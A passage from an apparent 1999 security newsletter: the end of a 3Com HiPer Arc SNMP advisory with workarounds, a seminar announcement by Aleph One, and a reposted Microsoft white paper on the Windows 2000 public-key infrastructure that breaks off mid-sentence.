     compromise (ie, repopulating the arp cache). There may be other 3com
     devices vulnerable to this attack.
     
     
     There are two workarounds to this problem. The first involves restricting
     certain community strings to ip address(es). This is only marginally more
     secure and the snmp community strings are still readable. The second
     involves not defining community strings on the Arc at all. To do this, you
     need the NMC (Network Management Card) to act as a relay to the
     HiPer Arc. The NMC's community string needs to be
     communitystring@<entitynum> (ie, public@16000), entity being the
     location of the Arc (ie, slot 16 = 16000). To send an SNMP command to
     the Arc, assuming its in slot 16, and assuming an NMC community string
     of "public" for example purposes, you'd use the community string of
     "public@16000". The only real drawback to this workaround is the extra
     load that is put on the NMC cards (many of which are only 486
     processor based...none-too-overpowered), and that the SNMP
     operations are slowed down by having to be processed through another
     system.
     
     
     Currently the SecurityFocus staff are not aware of any vendor supplied
     patches for this issue. If you feel we are in error or are aware of more
     recent information, please mail us at: vuldb@securityfocus.com.
     
     
     First posted to BugTraq by Jeff Mcadams
     <jeffm@iglou.com> on July 20, 1999. Some of the solution
     taken directly from Jeff's BugTraq posting.
         
     @HWA 
     
48.0 Aleph One in Tokyo
     ~~~~~~~~~~~~~~~~~~
     
     Bugtraq moderator Aleph One will be taking his expertise to Tokyo for a three day
     seminar on 'exploits and how to stop them' ... here's an excerpt from the itinary
     
     http://www.lac.co.jp/security/seminar/tokyo090899.html
     

     -How to find security holes and how to fix- 


      Instructor  Aleph One (Bugtraq ML moderator) with interpretation
      Date        September 8-10, 1999
      Plac        TIME24 Building, AOMI 2-45, KOTO-KU,TOKYO, JAPAN
                  http://www.lac.co.jp/profile/direction_e.html 


      Aleph One, a moderator of Bugtraq Mailing List well-known among security
      community, will come to teach us how to discover security holes and how to fix them.
      Also you will learn 'who' finds vulnerabilities and 'who' misuses them. It is a great
      opportunity to ask Aleph questions face to face in Japan. Our SecureNet Service team
      will, for those who have technical difficulties, support you during the class.

      Contents

      Wednesday, September 8
      10:00-10:45   What is Bugtraq ML?
      10:45-11:45   What are security holes and who find them?
      11:45-13:00   Lunch
      13:00-17:00   Typical Linux vulnerabilities
      9th Sep (Thu)
      10:00-11:45   Latest Linux vulnerabilities
      11:45-13:00   Lunch
      13:00-17:00   Latest Linux vulnerabilities
      10th Sep (Fri)
      10:00-11:45   Typical SunOS/Solaris vulnerabilities
      11:45-13:00   Lunch
      13:00-17:00   SunOS/Solaris vulnerabilities


      Security holes for this class will focus on : 

                Remote buffer overflow to get unauthorized privilege 
                Local buffer overflow to get root privilege 
                Remote unauthorized login through holes 
                
                
     @HWA       
     
49.0 Windows2000 introduces Public Key Encryption 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From OSALL
     
      PKI Encryption In Windows 2000

                                                          OSAll Staff

      Microsoft has announced that the upcoming release of Windows 2000 will include
      built-in support for public key encryption.  The support will actually be integrated
      from the ground up in the Windows 2000 security infrastructure.  

      Windows´ built-in security has been always been notorious for it´s insecurity. 
      Windows 2000, which is a melding of Windows 9x and Windows NT, is touted by
      Microsoft as a more secure operating system.  The integration of public key
      encryption is another step in that direction, according to Microsoft.

      Programs like Pretty Good Privacy already allow for public key encryption, but
      they´re not automatic like Microsoft´s seems to be.  

      Windows 2000´s public key integration is built more as a system for the use of
      other software more than to integrate encryption into Windows 2000.  

      The white paper detailing the integration of public key encryption in Windows 2000
      is mirrored in HTML format on OSAll.  The only way to receive this white paper
      from Microsoft is in self-extracting .DOC format.
                                 
     http://www.aviary-mag.com/Archive/News/Public_Key_Cryptography_In_Win/PKI_in_Win2k_White_Paper/pki_in_win2k_white_paper.html


      White Paper

      Abstract

      Microsoft® Windows® 2000 introduces a comprehensive public-key infrastructure (PKI) to the
      Windows platform. This infrastructure extends the Windows-based public-key (PK) cryptographic
      services introduced over the past few years, providing an integrated set of services and administrative
      tools for creating, deploying, and managing PK-based applications. This allows application developers
      to take advantage of the shared-secret security mechanisms or PK-based security mechanism in
      Windows, as appropriate. Enterprises also gain the advantage of being able to manage the
      environment and applications with consistent tools and policies.

       

       

                               © 1999  Microsoft Corporation. All rights reserved.

                               The information contained in this document represents the current view of
                               Microsoft Corporation on the issues discussed as of the date of publication.
                               Because Microsoft must respond to changing market conditions, it should not be
                               interpreted to be a commitment on the part of Microsoft, and Microsoft cannot
                               guarantee the accuracy of any information presented after the date of publication.

                               This White Paper is for informational purposes only. MICROSOFT MAKES NO
                               WARRANTIES, EXPRESS OR IMPLIED, IN THIS DOCUMENT.

                               Microsoft, ActiveX, Authenticode, Outlook, The BackOffice logo, Windows, and
                               Windows NT are registered trademarks of Microsoft Corporation.

                               Other product or company names mentioned herein may be the trademarks of their
                               respective owners.

                               Microsoft Corporation  One Microsoft Way  Redmond, WA 98052-6399  USA

                               0499

      Contents

      Introduction1

      Concepts2

      Public Key Cryptography2

      Public-Key Functionality2

      Digital Signatures2

      Authentication3

      Secret Key Agreement via Public Key3

      Bulk Data Encryption without Prior Shared Secrets3

      Protecting and Trusting Cryptographic Keys4

      Certificates4

      Certificate Authorities4

      Trust and Validation5

      Windows 2000 PKI Components6

      Certificate Authorities8

      Certificate Hierarchies8

      Deploying an Enterprise CA9

      Trust In Multiple CA Hierarchies11

      Enabling Domain Clients12

      Generating Keys12

      Key Recovery12

      Certificate Enrollment13

      Renewal13

      Using Keys and Certificates13

      Recovery14

      Roaming15

      Revocation15

      Trust15

      PK Security Policy in Windows 200017

      Trusted CA Roots17

      Certificate Enrollment and Renewal17

      Smart-Card Logon18

      Applications Overview19

      Web Security19

      Secure E-mail20

      Digitally Signed Content21

      Encrypting File System21

      Smart-Card Logon22

      IP Security (IPSec)22

      Interoperability23

      Criteria23

      Internet Standards23

      Preparing for Windows 2000 PKI26

      S/MIME-based E-mail Using Exchange Server26

      For More Information27

       

      Introduction 

      The Microsoft Windows 2000 operating system introduces a comprehensive public-key infrastructure
      (PKI) to the Windows platform. This infrastructure extends the Windows-based public-key (PK)
      cryptographic services that were introduced over the past few years, providing an integrated set of
      services and administrative tools for creating, deploying, and managing PK-based applications. This
      allows application developers to take advantage of the shared-secret security mechanisms or
      PK-based security mechanism, as appropriate. Enterprises also gain the advantage of being able to
      manage the environment and applications with consistent tools and policies.

      The remainder of this paper provides an overview of the PKI in Windows 2000.

      Concepts 

      Public Key Cryptography

      Cryptography is the science of protecting data. Cryptographic algorithms mathematically combine
      input plaintext data and an encryption key to generate encrypted data (ciphertext). With a good
      cryptographic algorithm, it is computationally not feasible to reverse the encryption process and
      derive the plaintext data, starting with only the ciphertext; some additional data, a decryption key, is
      needed to perform the transformation.

      In traditional, secret (or symmetric) key cryptography, the encryption and decryption keys are
      identical and thus share sensitive data. Parties wishing to communicate with secret-key cryptography
      must securely exchange their encryption/decryption keys before they can exchange encrypted data.

      In contrast, the fundamental property of public-key (PK) cryptography is that the encryption and
      decryption keys are different. Encryption with a public key encryption key is a one-way function;
      plaintext turns into ciphertext, but the encryption key is irrelevant to the decryption process. A
      different decryption key (related, but not identical, to the encryption key) is needed to turn the
      ciphertext back into plaintext. Thus, for PK cryptography, every user has a pair of keys, consisting of
      a public key and a private key. By making the public key available, it is possible to enable others to
      send you encrypted data that can only be decrypted using your private key. Similarly, you can
      transform data using your private key in such a way that others can verify that it originated with you.
      This latter capability is the basis for digital signatures, discussed below.

      Public-Key Functionality

      The separation between public and private keys in PK cryptography has allowed the creation of a
      number of new technologies. The most important of these are digital signatures, distributed
      authentication, secret-key agreement via public key, and bulk data encryption without prior shared
      secrets.

      There are a number of well-known PK cryptographic algorithms. Some, such as
      Rivest-Shamir-Adleman (RSA) and Elliptic Curve Cryptography (ECC), are general-purpose; they can
      support all of the above operations. Others support only a subset of these capabilities. Some
      examples include the Digital Signature Algorithm (DSA, which is part of the U.S. government's Digital
      Signature Standard, FIPS 186), which is useful only for digital signatures, and Diffie-Hellman (D-H),
      which is used for secret key agreement.

      The following sections briefly describe the principal uses of PK cryptography. These operations are
      described in terms of two users, Bob and Alice. It is assumed that Bob and Alice can exchange
      information but do not have any pre-arranged, shared secrets between them.

      Digital Signatures

      Perhaps the most exciting aspect of public key cryptography is creating and validating digital
      signatures. This is based on a mathematical transform that combines the private key with the data to
      be signed in such a way that: 

           Only someone possessing the private key could have created the digital signature. 
           Anyone with access to the corresponding public key can verify the digital signature. 
           Any modification of the signed data (even changing only a single bit in a large file) invalidates
           the digital signature. 

      Digital signatures are themselves just data, so they can be transported along with the signed data
      that they protect. For example, Bob can create a signed e-mail message to Alice and send the
      signature along with the message text, providing Alice the information that is required to verify the
      message origin. In addition, digital signatures provide a way to verify that data has not been tampered
      with (either accidentally or intentionally) while in transit from the source to the destination. Therefore,
      they can be exploited to provide a very secure data-integrity mechanism.

      Authentication

      PK cryptography provides robust distributed authentication services. Entity authentication guarantees
      that the sender of data is the entity that the receiver thinks it is. If Alice receives data from Bob, and
      then sends him a challenge encrypted with Bob's public key, Bob then decodes this challenge and
      sends it back to Alice, proving that he has access to the private key associated with the public key
      that Alice used to issue the challenge. Alice can also send a plaintext challenge to Bob. Bob then
      combines the challenge with other information, which is digitally signed. Alice then uses Bob's public
      key to verify the signature and prove that Bob has the associated private key. The challenge makes
      this message unique and prevents replay attacks by a hostile third party. In either case, this is
      known as a proof-of-possession protocol because the sender proves that he has access to a
      particular private key.

      Secret Key Agreement via Public Key

      Another feature of PK cryptography is that it permits two parties to agree on a shared secret, using
      public, and nonsecure, communication networks. Basically, Bob and Alice each generate a random
      number that forms half of the shared secret key. Bob then sends his half of the secret, encrypted, to
      Alice, using her public key. Alice sends her half, encrypted, to Bob with his public key. Each side
      can then decrypt the message received from the other party, extract the half of the shared secret that
      was generated by the other, and combine the two halves to create the shared secret. Once the
      protocol is completed, the shared secret can be used for securing other communications.  

      Bulk Data Encryption without Prior Shared Secrets

      The fourth major technology enabled by PK cryptography is the ability to encrypt bulk data without
      the establishment of prior shared secrets. Existing PK algorithms are computationally intensive
      relative to secret-key algorithms. This makes them ill suited for encrypting large amounts of data. To
      get the advantages of PK cryptography along with efficient bulk encryption, PK and secret-key
      technologies are typically combined.  
      
      This is accomplished by first selecting a secret-key encryption algorithm and generating a random
      session key to use for data encryption. If Bob is sending the message, he first encrypts this session
      key, using Alice's public key. The resulting ciphertext key is then sent to Alice along with the
      encrypted data. Alice can recover the session key, using her private key, and then use the session
      key to decrypt the data.
      
      Protecting and Trusting Cryptographic Keys
      
      In secret-key cryptography, Alice and Bob trust their shared-secret key because they mutually
      agreed on it or exchanged it in a secure manner, and each has agreed to keep it stored securely to
      prevent access by a malicious third party. In contrast, using PK cryptography, Alice need only
      protect her private key and Bob, his private key. The only information they need to share is their
      public keys. They need to be able to identify the other's public key with positively, but they need not
      keep it secret. This ability to trust the association of a public key with a known entity is critical to the
      use of PK cryptography.
      
      Alice might trust Bob's public key because Bob handed it to Alice directly in a secure manner, but
      this presupposes that Alice and Bob have had some form of prior secure communication. More likely,
      Alice has obtained Bob's public key through a nonsecure mechanism (for example, from a public
      directory), so some other mechanism is needed to give Alice confidence that the public key that she
      holds claiming to be from Bob really is Bob's public key. One such mechanism is based on
      certificates issued by a certificate authority (CA).
      
      Certificates
      
      Certificates provide a mechanism for gaining confidence in the relationship between a public key and
      the entity that owns the corresponding private key. A certificate is a digitally signed statement
      dealing with a particular subject public key, and the certificate is signed by its issuer (holding another
      pair of private and public keys). Typically, certificates also contain other information related to the
      subject public key, such as identity information about the entity that has access to the corresponding
      private key. Thus, when issuing a certificate, the issuer is attesting to the validity of the binding
      between the subject public key and the subject identity information.  
      
      The most common form of certificates in use today is based on the ITU-T X.509 standard. This is a
      fundamental technology used in the Windows 2000 PKI. It is, however, not the only form of
      certificates. Pretty Good Privacy (PGP) secure e-mail, for example, relies on a form of certificates
      unique to PGP.
      
      Certificate Authorities
      
      A certificate authority (CA) is an entity or service that issues certificates. A CA acts as a guarantor of
      the binding between the subject public key and the subject identity information that is contained in
      the certificates it issues. Different CAs may choose to verify that binding through different means, so
      it is important to understand the authority's policies and procedures before choosing to trust that
      authority to vouch for public keys.
      
      Trust and Validation
      
      The fundamental question facing Alice when she receives a signed message is whether she should
      trust that the signature is valid and was made by whoever claimed to make it. Alice can confirm that
      the signature is mathematically valid; that is, she can verify the integrity of the signature, using a
      known public key. However, Alice must still determine whether the public key used to verify the
      signature does, in fact, belong to the entity claiming to have made the signature in the first place. If
      Alice does not implicitly trust the public key to be Bob's, she needs to acquire strong evidence that
      the key belongs to Bob.
      
      If Alice can locate a certificate, which was issued by a CA that Alice implicitly trusts, for Bob's public
      key, Alice can trust that Bob's public key really belongs to Bob. That is, Alice is likely to trust that
      she really has Bob's public key if she finds a certificate that: 
      
      Has a cryptographically valid signature from its issuer. 
      Attests to a binding between the name Bob and Bob's public key. 
      Was issued by an issuer that Alice trusts. 
      
      Assuming that Alice finds such a certificate for Bob's public key, she can verify its authenticity, using
      the public key of the issuing CA, Ira. However, Alice is now faced with the same dilemma. How does
      she know that the public key actually belongs to Ira? Alice now needs to find a certificate attesting to
      the identity of Ira and the binding between Ira and Ira's public key.

      Ultimately, Alice ends up constructing a chain of certificates leading from Bob and Bob's public key
      through a series of CAs and terminating in a certificate issued to someone that Alice implicitly trusts.
      Such a certificate is called a trusted root certificate because it forms the root (top node) of a
      hierarchy of public keys/identity bindings that Alice accepts as authentic (see section 4.1, Certificate
      Hierarchies). When Alice chooses to explicitly trust a particular trusted root certificate, she is
      implicitly trusting all the certificates issued by that trusted root, as well as all certificates issued by
      any subordinate CA certified by the trusted root.

      The set of trusted root certificates that Alice explicitly trusts is the only information that Alice must
      acquire in a secure manner. That set of certificates secures Alice's trust system and her belief in the
      public-key infrastructure.

      Windows 2000 PKI Components 

      Figure 1 presents a top-level view of the components that make up the Windows 2000 PKI. This is a
      logical view and does not imply physical requirements for separate servers; in fact, many functions
      may be combined on a single-server system. A key element in the PKI is Microsoft Certificate
      Services. This allows you to deploy one or more enterprise CAs. These CAs support certificate
      issuance and revocation. They are integrated with Active Directory, which provides CA location
      information and CA policy, and allows certificates and revocation information to be published.  

      The PKI does not replace the existing Windows domain trust-and-authorization mechanisms based
      on the domain controller (DC) and Kerberos Key Distribution Center (KDC). Rather, the PKI works
      with these services and provides enhancements that allow applications to readily scale to address
      extranet and Internet requirements. In particular, PKI addresses the need for scalable and distributed
      identification and authentication, integrity, and confidentiality. 

       

      Figure 1. Windows 2000 public-key infrastructure components

      Support for creating, deploying, and managing PK-based applications is provided uniformly on
      workstations and servers running Windows 2000 or Windows NT, as well as workstations running
      Windows 95 and Windows 98 operating systems. Figure 2 provides an overview of these services.
      Microsoft CryptoAPI is the cornerstone for these services. It provides a standard interface to
      cryptographic functionality supplied by installable cryptographic service providers (CSPs). These
      CSPs may be software-based or take advantage of cryptographic hardware devices and can support a
      variety of algorithms and key strengths. As indicated in the figure, one possible hardware-based CSP
      supports smart cards. Some CSPs that ship with Windows 2000 take advantage of the Microsoft
      PC/SC-compliant smart card infrastructure (see http://www.Microsoft.com/smartcard/ and
      http://www.smartcardsys.com/).  

      Layered on the cryptographic services is a set of certificate management services. These support
      X.509 version 3 standard certificates, providing persistent storage, enumeration services, and
      decoding support. Finally, there are services for dealing with industry-standard message formats.
      Primarily, these support the PKCS standards and evolving Internet Engineering Task Force (IETF)
      Public Key Infrastructure, X.509 (PKIX) draft standards.

      Other services take advantage of CryptoAPI to provide additional functionality for application
      developers. Secure Channel (schannel) supports network authentication and encryption using the
      industry standard TLS and  SSL protocols. These may be accessed using the Microsoft WinInet
      interface for use with the HTTP protocol (HTTPS) and with other protocols through the SSPI interface.
      Authenticode supports object signing and verification. This is used principally for determining origin
      and integrity of components downloaded over the Internet, though it may be used in other
      environments. Finally, general-purpose smart-card interfaces are supported. These are used to
      integrate cryptographic smart cards in an application-independent manner and are the basis for the
      smart-card logon support that is integrated with Windows 2000.

                                           

      Figure 2. Public-key application services

      Certificate Authorities

      Microsoft Certificate Services, included with Windows 2000, provides a means for an enterprise to
      easily establish CAs to support its business requirements. Certificate Services includes a default
      policy module that is suitable for issuing certificates to enterprise entities (users, computers, or
      services). This includes identification of the requesting entity and validation that the certificate
      requested is allowed under the domain PK security policy. This may be easily modified or enhanced
      to address other policy considerations or to extend CA support for various extranet or Internet
      scenarios. Since Certificate Services is standards-based, it provides broad support for PK-enabled
      applications in heterogeneous environments.  

      Within the PKI, you can easily support both enterprise CAs and external CAs, such as those
      associated with other organizations or commercial service providers. This allows an enterprise to
      tailor its environment in response to business requirements.

      Certificate Hierarchies

      The Windows 2000 PKI assumes a hierarchical CA model. This was chosen for its scalability, ease
      of administration, and consistency with a growing number of commercial and third-party CA products.
      In its simplest form, a CA hierarchy consists of a single CA, though in general, a hierarchy contains
      multiple CAs with clearly defined parent-child relationships, as shown in Figure 3. As shown, there
      may be multiple unconnected hierarchies of interest. There is no requirement that all CAs share a
      common top-level CA parent (or root).

      In this model, children are certified by parent CA–issued certificates, which bind a CA's public key to
      its identity and other policy-driven attributes. The CA at the top of a hierarchy is generally referred to
      as a root CA. The subordinate CAs are often referred to as intermediate or issuing CAs. In this paper,
      a CA that issues end-entity certificates is called an issuing CA. Intermediate CA refers to a CA that
      is not a root CA, but that only certifies other CAs.

                                           

      Figure 3. Certificate authority hierarchies

      The fundamental advantage of this model is that verification of certificates requires trust in only a
      relatively small number of root CAs. At the same time, it provides flexibility in the number of issuing
      CAs. There are several practical reasons for supporting multiple issuing CAs. These include: 

           Usage—Certificates may be issued for a number of purposes (for example, secure e-mail,
           network authentication, and so on). The issuing policy for these uses may be distinct, and
           separation provides a basis for administering these polices. 
           Organizational divisions—There may be different policies for issuing certificates, depending
           upon an entity's role in the organization. Again, you can create issuing CAs to separate and
           administer these policies. 
           Geographic divisions—Organizations may have entities at multiple physical sites. Network
           connectivity between these sites may dictate a requirement for multiple issuing CAs to meet
           usability requirements. 

      Such a CA hierarchy also provides administrative benefits, including: 

           Flexible configuration of CA security environment (key strength, physical protection, protection
           against network attacks, and so on) to tailor the balance between security and usability. For
           example, you may choose to employ special-purpose cryptographic hardware on a root CA,
           operate it in a physically secure area, or operate it offline. These may be unacceptable for
           issuing CAs, due to cost or usability considerations. 
           Use of fairly frequent updates for issuing CA keys and/or certificates, which are the most
           exposed to compromise, without requiring a change to established trust relationships. 
           The ability to turn off a specific portion of the CA hierarchy without affecting the established
           trust relationships. For example, you can easily shut down and revoke an issuing CA
           certificate associated with a specific geographic site without affecting other parts of the
           organization. 

      In general, CA hierarchies tend to be static, though this is not a requirement. You can add or delete
      issuing CAs under a given root CA fairly easily. You can also merge existing CA hierarchies by
      issuing a certificate from one of the root CAs certifying the other root as an intermediate CA.
      However, before doing this, you should carefully consider policy inconsistencies that this could
      introduce and the impact of depth constraints that may be encoded into existing certificates.

      Deploying an Enterprise CA

      Deploying Microsoft Certificate Services is a fairly straightforward operation. It is recommended that
      you establish the domain prior to creating a CA. Then establish an enterprise root CA, or CAs. The
      Certificate Services installation process walks the administrator through this process. Key elements
      in this process include: 

           Selecting the host server—The root CA can run on any Windows 2000 Server platform,
           including a domain controller. Factors such as physical security requirements, expected
           loading, connectivity requirements, and so on, should be considered in making this decision. 
           Naming—CA names are bound into their certificates and hence can not change. You should
           consider factors such as organizational naming conventions and future requirements to
           distinguish among issuing CAs. 
           Key generation—The CA's public-key pair is generated during the installation process and is
           unique to this CA. 
           CA certificate—For a root CA, the installation process automatically generates a self-signed
           CA certificate, using the CA's public/private-key pair. For a child CA, a certificate request can
           be generated that may be submitted to an intermediate or root CA. 
           Active Directory integration—Information concerning the CA is written into a CA object in
      the Active Directory during installation. This provides information to domain clients about
      available CAs and the types of certificates that they issue. 
      Issuing policy—The enterprise CA setup automatically installs and configures the
      Microsoft-supplied Enterprise Policy Module for the CA. An authorized administrator can
      modify the policy, although in most cases this is not necessary.  
      
      After a root CA has been established, it is possible to install intermediate or issuing CAs subordinate
      to this root CA. The only significant difference in the installation policy is that a certificate request is
      generated for submission to a root or intermediate CA. This request may be routed automatically to
      online CAs located through the Active Directory, or routed manually in an offline scenario. In either
      case, the resultant certificate must be installed at the CA before it can begin operation.
      
      There is an obvious relationship between the enterprise CAs and the Windows 2000 domain trust
      model, but, this does not imply a direct mapping between CA trust relationships and domain trust
      relationships. Nothing prevents a single CA from servicing entities in multiple domains, or even
      entities outside the domain boundary. Similarly, a domain may have multiple enterprise CAs. 
      
      CAs are high-value resources, and it is often desirable to provide them with a high degree of
      protection, as discussed above. Specific actions that should be considered include: 
      
      Physical protection—Since CAs represent highly trusted entities within an enterprise,
      protect them from tampering. This requirement is dependent upon the inherent value of the
      certification made by the CA. Physical isolation of the CA server, in a facility accessible only
      to security administrators, can dramatically reduce the possibility of such attacks. 
      Key management—The CA keys are its most valuable asset because the private key
      provides the basis for trust in the certification process. Cryptographic hardware modules
      (accessible to Certificate Services through a CryptoAPI CSP) can provide tamper-resistant key
      storage and isolate the cryptographic operations from other software that is running on the
      server. This significantly reduces the likelihood that a CA key will be compromised. 
      Restoration—Loss of a CA due to hardware failure, for example, can create a number of
      administrative and operational problems, as well as prevent revocation of existing certificates.
      Certificate Services supports backup of a CA instance so that it can be restored at a later
      time. This is an important part of the overall CA management process. 
      
      Trust In Multiple CA Hierarchies
      
      Based on the preceding discussion, it is evident that the Windows 2000 PKI must deal with trust
      relationships across multiple CA hierarchies. This could involve only CA hierarchies within a single
      enterprise, but may involve hierarchies within multiple enterprises, as well as commercial CAs (such
      as VeriSign, Thawte, and others).
      
      Within the PKI, you can administratively establish and enforce CA-based trust relationships based on
      the Windows 2000 domain policy objects. For each trusted root CA, the system provides a means to
      apply usage restrictions on certificates that are issued by the CA. For example, you could choose to
      validate only certificates that are issued by a CA for server authentication, even if the CA issues
      certificates for several purposes.   
      
      In addition, individual users can add CA trust relationships that apply only to themselves. This is done
      using client functionality and does not involve administrative action.
      
      An alternative to explicitly including all trusted root CAs in a policy object, is to use cross
      certificates. These have been used by at least one vendor's PKI product and provide a means to
      create a chain of trust from a single, trusted, root CA to multiple other CAs. Windows 2000 PKI is
      capable of processing such cross certificates and using them in making trust decisions, but they are
      unnecessary in this model. Microsoft chose this approach because of the issues that cross
      certificates raise, notably: 
      
      Uncertain interpretation of cross certification across organization boundaries when the CAs
      implement disparate policies. 
      Interpretation of cross certification in the absence of existing business agreements covering
      their use. 
      Additional administrative burden of generating and maintaining cross certificates. 
      
      Enabling Domain Clients
      
      Windows 2000 provides a comprehensive set of core services supporting the development and
      deployment of interoperable PK-based applications. These core services are also available on
      Windows NT 4.0, Windows 98, and Windows 95. The most significant new feature of the
      Windows 2000 implementation is integration with the domain administration and policy model,
      dramatically simplifying application management within the enterprise.

      The remainder of this section discusses the core application services that provided by the PKI. 

      Generating Keys

      Use of PK technology is dependent upon the ability to generate and manage keys for one or more PK
      algorithms. the Microsoft CryptoAPI supports installable CSPs that support key generation and
      management for a variety of cryptographic algorithms. The CryptoAPI defines standard interfaces for
      generating and managing keys that are the same for all CSPs.

      Mechanisms for storing key material are dependent on the selected CSP. The Microsoft-provided
      software CSPs (or base CSPs) store key material in an encrypted form on a per-user or per-computer
      basis. They also support control over public-key pair exportability (CRYPT_EXPORTABLE flag) and
      usage control (CRYPT_USER_PROTECT flag). The former controls private-key export from the CSP;
      the latter determines user-notification behavior when an application attempts to use the private key.
      Other CSPs may implement different mechanisms. For example, smart card CSPs store the
      public-key pair in the smart card tamper-resistant hardware and generally require entry of a PIN code
      to access operations involving the private key. These protection mechanisms are transparent to an
      application, which references all key pairs through a key-set name that is unique in the context of a
      CSP.

      Key Recovery

      The CryptoAPI architecture is compatible with, but does not mandate, key recovery. In this context,
      key recovery implies persistent storage of an entity's private key, allowing access by authorized
      individuals without knowledge or consent of the owning entity. Typically, this is necessary to ensure
      access to critical business correspondence or to meet law-enforcement requirements.

      Key recovery is useful only when applied to keys that are used in the encryption of persistent data.
      For PK-based applications, this usually implies an entity's key-exchange keys. There is questionable
      value, and considerable danger, in archiving identification or digital-signature private keys because
      their only practical use would be for impersonation of the private key owner.

      Microsoft Exchange currently provides support for recovery of key-exchange keys so that encrypted
      e-mail can be read. In addition, third-party CSPs are available that provide general support for key
      recovery. Microsoft may include additional key-recovery functionality in the future, depending upon
      customer demand.

      Certificate Enrollment

      As mentioned, practical use of PK-based technology generally relies on certificates to bind public
      keys to known entities. The Windows 2000 PKI supports certificate enrollment to the Microsoft
      enterprise CA or third-party CAs. Enrollment support is implemented in a transport-independent
      manner and is based on use of industry-standard PKCS-10 certificate request messages and
      PKCS-7 responses containing the resulting certificate or certificate chain. At this time, certificates
      that support RSA keys and signatures, Digital Signature Algorithm (DSA) keys and signatures, and
      Diffie-Hellman keys are supported.

      Support for PKCS-10 and PKCS-7 messages is provided by a Microsoft-supplied enrollment control
      (Xenroll.dll), which can be scripted for Web-based enrollment or called programmatically to support
      other transport mechanisms, such as RPC, DCOM, and e-mail. This control allows the calling
      application to specify the attributes included in the PKCS-10 message and allows use of an existing
      key pair or generation of a new key pair. The enrollment process is assumed to be asynchronous,
      and the enrollment control provides state management to match issued certificates against pending
      requests. This provides a means of creating an internal binding between the certificate, the CSP that
      generated the key pair, and the key-pair container name.

      The PKI supports multiple enrollment methods, including Web-based enrollment, an enrollment
      wizard, and policy-driven auto-enrollment, which occurs as part of a user's logon processing. In the
      future, the certificate enrollment process will evolve in a manner consistent with the Certificate
      Request Syntax (CRS) draft current in the IETF PKIX working group.

      Renewal

      Certificate renewal is conceptually similar to enrollment, but takes advantage of the trust relationship
      inherent in an existing certificate. Renewal assumes that the requesting entity wants a new certificate
      with the same attributes as an existing, valid certificate, but with extended validity dates. A renewal
      may use the existing public key or a new public key.

      Renewal is of advantage primarily to the CA. A renewal request can presumably be processed more
      efficiently since the existing certificate attributes need not be reverified. Renewal is currently
      supported in the Windows 2000 PKI for automatically enrolled certificates. For other mechanisms, a
      renewal is treated as a new enrollment request.

      Industry-standard message protocols for certificate renewal are not yet defined, but are included in
      the IETF PKIX CRS draft. Once these standards are ratified, Microsoft plans to implement the
      associated message formats. 

      Using Keys and Certificates

      Within the Microsoft PKI, cryptographic keys and associated certificates are stored and managed by
      the CryptoAPI subsystem. As noted, keys are managed by CSPs, and certificates are managed by
      the CryptoAPI certificate stores.  

      The certificate stores are repositories for certificates and their associated properties. By convention,
      the PKI defines five standard certificate stores: 

           MY—This store is used to hold a user's or computer's certificates for which the associated
           private key is available. 
           CA—This store is used to hold issuing or intermediate CA certificates to use in building
           certificate-verification chains. 
           TRUST—This store is used to hold Certificate Trust Lists (CTLs). These are an alternate
           mechanism that allows an administrator to specify a collection of trusted CAs. An advantage
           is that they may be transmitted over nonsecure links, because they are digitally signed. 
           ROOT—This store holds only self-signed CA certificates for trusted root CAs. 
           UserDS—This store provides a logical view of a certificate repository that is stored in the
           Active Directory (for example, in the userCertificate property of the User object). Its purpose
           is to simplify access to these external repositories. 

      These are logical stores that can present a consistent, system-wide view of the available certificates
      that may reside on multiple physical stores (hard disk, smart cards, and so on). By using these
      services, applications can share certificates and are assured of consistent operation under
      administrative policy. The certificate management functions support decoding of X.509 v3 certificates
      and provide enumeration functions to assist in locating a specific certificate.

      To simplify application development, the MY store maintains certificate properties that indicate the
      CSP and key-set name for the associated private key. Once an application has selected a certificate
      to use, it can use this information to obtain a CSP context for the correct private key.

      Recovery 

      Public key pairs and certificates tend to have high value. If they are lost due to system failure, their
      replacement may be time consuming and expensive. Therefore,, the Windows 2000 PKI supports the
      ability to back up and restore both certificates and associated key pairs through the
      certificate-management administrative tools.  

      When exporting a certificate, using the certificate manager, the user must specify whether to also
      export the associated key pair. If this option is selected, the information is exported as an encrypted
      (based on a user-supplied password) PKCS-12 message. This may later be imported to the system,
      or another system, to restore the certificate and keys.

      This operation assumes that the key pair is exportable by the CSP. This is true for the Microsoft
      base CSPs if the exportable flag was set at key generation. Third-party CSPs may or may not
      support private key export. For example, smart card CSPs do not generally support this operation.
      For software CSPs with nonexportable keys, the alternative is to maintain a complete system-image
      backup, including all registry information.

      Roaming

      Roaming in the context of this paper means the ability to use the same PK-based applications on
      different computers within the enterprise Windows environment. The principal requirement is to make
      a user's cryptographic keys and certificates available wherever he or she logs on. 

      The Windows 2000 PKI supports this in two ways. First, if the Microsoft base CSPs are used,
      roaming of keys and certificates is supported by the roaming profile mechanism. This is transparent
      to the user once roaming profiles are enabled. It is unlikely that this functionality will be supported by
      third-party CSPs because they generally use a different method of preserving key data, often on
      hardware devices. Second, hardware token devices, such as smart cards, support roaming, provided
      that they incorporate a physical certificate store. The smart card CSPs that ship with the
      Windows 2000 platform support this functionality. The user carries the hardware token to the new
      location.

      Revocation

      Certificates tend to be long-lived credentials, and there are a number of reasons why these
      credentials may become untrustworthy prior to their expiration. Examples include: 

           Compromise, or suspected compromise, of an entity's private key. 
           Fraud in obtaining the certificate. 
           Change in status. 

      PK-based functionality assumes distributed verification in which there is no need for direct
      communication with a central trusted entity that vouches for these credentials. This creates a need
      for revocation information that can be distributed to individuals attempting to verify certificates.  

      The need for revocation information, and its timeliness, is dependent upon the application. To support
      a variety of operational factors, the Windows 2000 PKI incorporates support of industry-standard
      Certificate Revocation Lists (CRLs). Enterprise CAs support certificate revocation and CRL
      publication to the Active Directory under administrative control. Domain clients can obtain this
      information and cache it locally to use when verifying certificates. This same mechanism supports
      CRLs published by commercial CAs or third-party certificate server products, provided that the
      published CRLs are accessible to clients over the network.

      Trust

      The principal client trust concern when using PK-based functionality is the trust associated with
      certificate verification. This is generally based on the trust associated with the CA that issued the
      certificate. As discussed, the PKI assumes a rooted CA hierarchy in which the control of trust is
      based on decisions concerning root CAs. If a specified end-entity certificate can be shown to chain to
      a known trusted root CA, and if the intended certificate usage is consistent with the application
      context, it is considered valid. If either of these conditions is not present, it is considered invalid.

      Within the PKI, users may make trust decisions that affect only themselves. They do this by
